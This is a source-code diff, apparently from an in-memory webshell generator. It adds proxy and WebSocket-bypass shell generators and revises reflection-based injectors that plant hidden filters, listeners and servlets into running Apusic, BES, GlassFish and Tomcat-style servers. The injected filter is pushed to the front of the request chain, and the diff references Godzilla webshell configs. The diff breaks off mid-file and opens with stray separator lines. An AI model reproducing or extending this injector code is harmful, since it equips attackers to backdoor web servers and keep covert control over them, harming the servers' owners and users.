/**
|
/**
|
||||||
* 添加静态代码块调用构造方法初始化
|
* 添加静态代码块调用构造方法初始化
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import lombok.*;
|
||||||
|
import lombok.experimental.SuperBuilder;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
@SuperBuilder
|
||||||
|
@NoArgsConstructor
|
||||||
|
@AllArgsConstructor
|
||||||
|
@ToString
|
||||||
|
public class ProxyConfig extends ShellToolConfig {
|
||||||
|
@Builder.Default
|
||||||
|
private String headerName = "User-Agent";
|
||||||
|
@Builder.Default
|
||||||
|
private String headerValue = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
||||||
|
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
||||||
|
|
||||||
|
public B headerName(final String headerName) {
|
||||||
|
if (StringUtils.isNotBlank(headerName)) {
|
||||||
|
this.headerName$value = headerName;
|
||||||
|
headerName$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
|
||||||
|
public B headerValue(final String headerValue) {
|
||||||
|
if (StringUtils.isNotBlank(headerValue)) {
|
||||||
|
this.headerValue$value = headerValue;
|
||||||
|
headerValue$set = true;
|
||||||
|
}
|
||||||
|
return self();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -73,12 +73,18 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean lambdaSuffix = false;
|
private boolean lambdaSuffix = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 将 Java EE 转换为 Jakarta EE 类名
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean jakarta = false;
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return shellType.startsWith(ShellType.JAKARTA);
|
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -49,6 +49,12 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
|
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
||||||
|
if (helperClassBytes != null) {
|
||||||
|
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
||||||
|
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
||||||
|
}
|
||||||
|
|
||||||
if (shellConfig.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ProxyConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|
||||||
|
public class ProxyGenerator extends ByteBuddyShellGenerator<ProxyConfig> {
|
||||||
|
public ProxyGenerator(ShellConfig shellConfig, ProxyConfig shellToolConfig) {
|
||||||
|
super(shellConfig, shellToolConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
return new ByteBuddy().redefine(shellToolConfig.getShellClass());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/13
|
||||||
|
*/
|
||||||
|
public class WebSocketByPassHelperGenerator {
|
||||||
|
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||||
|
if (headerPair == null) {
|
||||||
|
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
||||||
|
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
||||||
|
.redefine(TomcatWsBypassValve.class)
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
|
.field(named("headerName")).value(headerPair.getKey())
|
||||||
|
.field(named("headerValue")).value(headerPair.getValue())
|
||||||
|
.name(CommonUtil.generateClassName());
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellToolConfig instanceof CommandConfig) {
|
||||||
|
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof GodzillaConfig) {
|
||||||
|
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
||||||
|
} else if (shellToolConfig instanceof ProxyConfig) {
|
||||||
|
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import org.apache.commons.io.IOUtils;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.LinkedHashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
|
|||||||
Object filterMapping = filterMappingClass.newInstance();
|
Object filterMapping = filterMappingClass.newInstance();
|
||||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
||||||
|
LinkedHashSet newSet = new LinkedHashSet();
|
||||||
|
newSet.add(filterMapping);
|
||||||
|
newSet.addAll(beforeFilterMappings);
|
||||||
|
beforeFilterMappings.clear();
|
||||||
|
beforeFilterMappings.addAll(newSet);
|
||||||
|
|
||||||
// addFilterModel
|
// addFilterModel
|
||||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
@@ -218,30 +224,25 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +42,7 @@ public class ApusicListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -197,30 +199,25 @@ public class ApusicListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,7 +6,9 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +42,7 @@ public class ApusicServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -198,30 +200,25 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ public class BesFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -105,7 +105,7 @@ public class BesFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -218,30 +218,25 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public class BesListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class BesValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -7,7 +7,10 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
Constructor<?>[] constructors;
|
|
||||||
try {
|
try {
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
// v7.0.0 以上
|
// addFilterMapFirst
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
} catch (Exception e) {
|
filterMaps.add(0, filterMap);
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
}
|
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
